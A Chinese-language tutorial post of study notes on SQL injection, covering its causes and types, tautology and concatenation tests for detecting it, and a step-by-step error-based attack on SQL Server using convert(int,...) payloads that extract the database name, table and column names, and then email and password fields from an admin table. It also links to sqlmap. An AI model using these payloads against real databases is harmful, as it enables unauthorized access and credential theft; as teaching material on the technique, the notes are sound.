zoukankan      html  css  js  c++  java
  • sql注入

    Sql注入

    Sql注入成因:

    1)     转义字符处理不当(如’,--,/**/,会截断原有的语句,执行新语句);

    2)     类型处理不当(如接受的是整型的参数,并没有校验也可以接受字符型数据)

    3)     查询语句的组装不当

    4)     错误处理不当

    5)     权限配置不当(可以执行高权限语句)

    Sql注入类型:

    从参数的角度:基于字符型和数字型的

    基于错误的(基于响应时间的盲注,基于相应的注入)可以直观的看到我们查询结果的一类,看不到查询结果就是盲注

    识别sql注入:

    1. 1.    永真和永假表达式: or 1=1—
    2. 2.    语句执行的报错信息:Having(聚合函数)若select字段没有包含在having里面,则会报错,证明注入成功
    3. 3.    特定数据的连接符:(根据不同数据库的连接符不相同)

           i.          Sqlsever(+连接)1’or ‘ab’=’a’+’b’—(永真)

         ii.          Mysql(空格连接)1’or ‘ab’=’a’’b’ (永真)

       iii.          奥瑞考(||连接)1’or ‘ab’=’a’||’b’

    基于错误的sql注入基本原理:

    1. 1.   判断;2.判断数据库

    Sqlsever数据库中convert是一个进行类型转换的函数

    1=convert(int,@@version)--

    拆解库名:1=convert(int,db_name())--

    得到当前用户名:1=convert(int,user_name())—

    拆解表名:

    1=convert(int,(select top 1 table_name from information_schema_tables))—

    1=convert(int,(select top 1 table_name from information_schema.tables where table_name not in(‘pp_category’)))—not in排除第一次选中的表名,就可以得到第二个表名,以此类推

    拆解列名:

    1=convert(int,(select top 1 column_name from information_schema.columns where table_name=’pp_admin_tb’))—

    1=convert(int,(select top 1 column_name from information_schema_columns where table_name=’pp_admin_tb’and column_name not in(‘adminsign_id’)))—

    得到字段数据:

    1=convert(int,(select top 1 email_id from pp_admin_tb))—

    得到字段数据;

    1=convert(int,(select top 1 password from pp_admin_tb))—

    Sqlmap项目源码:https://github.com/sqlmapproject/sqlmap

    手册:https://github.com/sqlmapproject/sqlmap/wiki/Useage

     

     

  • 相关阅读:
    新概念第二册(1)--英语口语听力课1
    外企面试课程(一)---熟悉常见的缩略词
    公司 邮件 翻译 培训 长难句 结课
    workflow
    公司 邮件 翻译 培训 长难句 20
    公司 邮件 翻译 培训 长难句 19
    Engineering Management
    公司 邮件 翻译 培训 长难句 18
    公司 邮件 翻译 培训 长难句 17
    第14.5节 利用浏览器获取的http信息构造Python网页访问的http请求头
  • 原文地址:https://www.cnblogs.com/Jdrops/p/5355193.html
Copyright © 2011-2022 走看看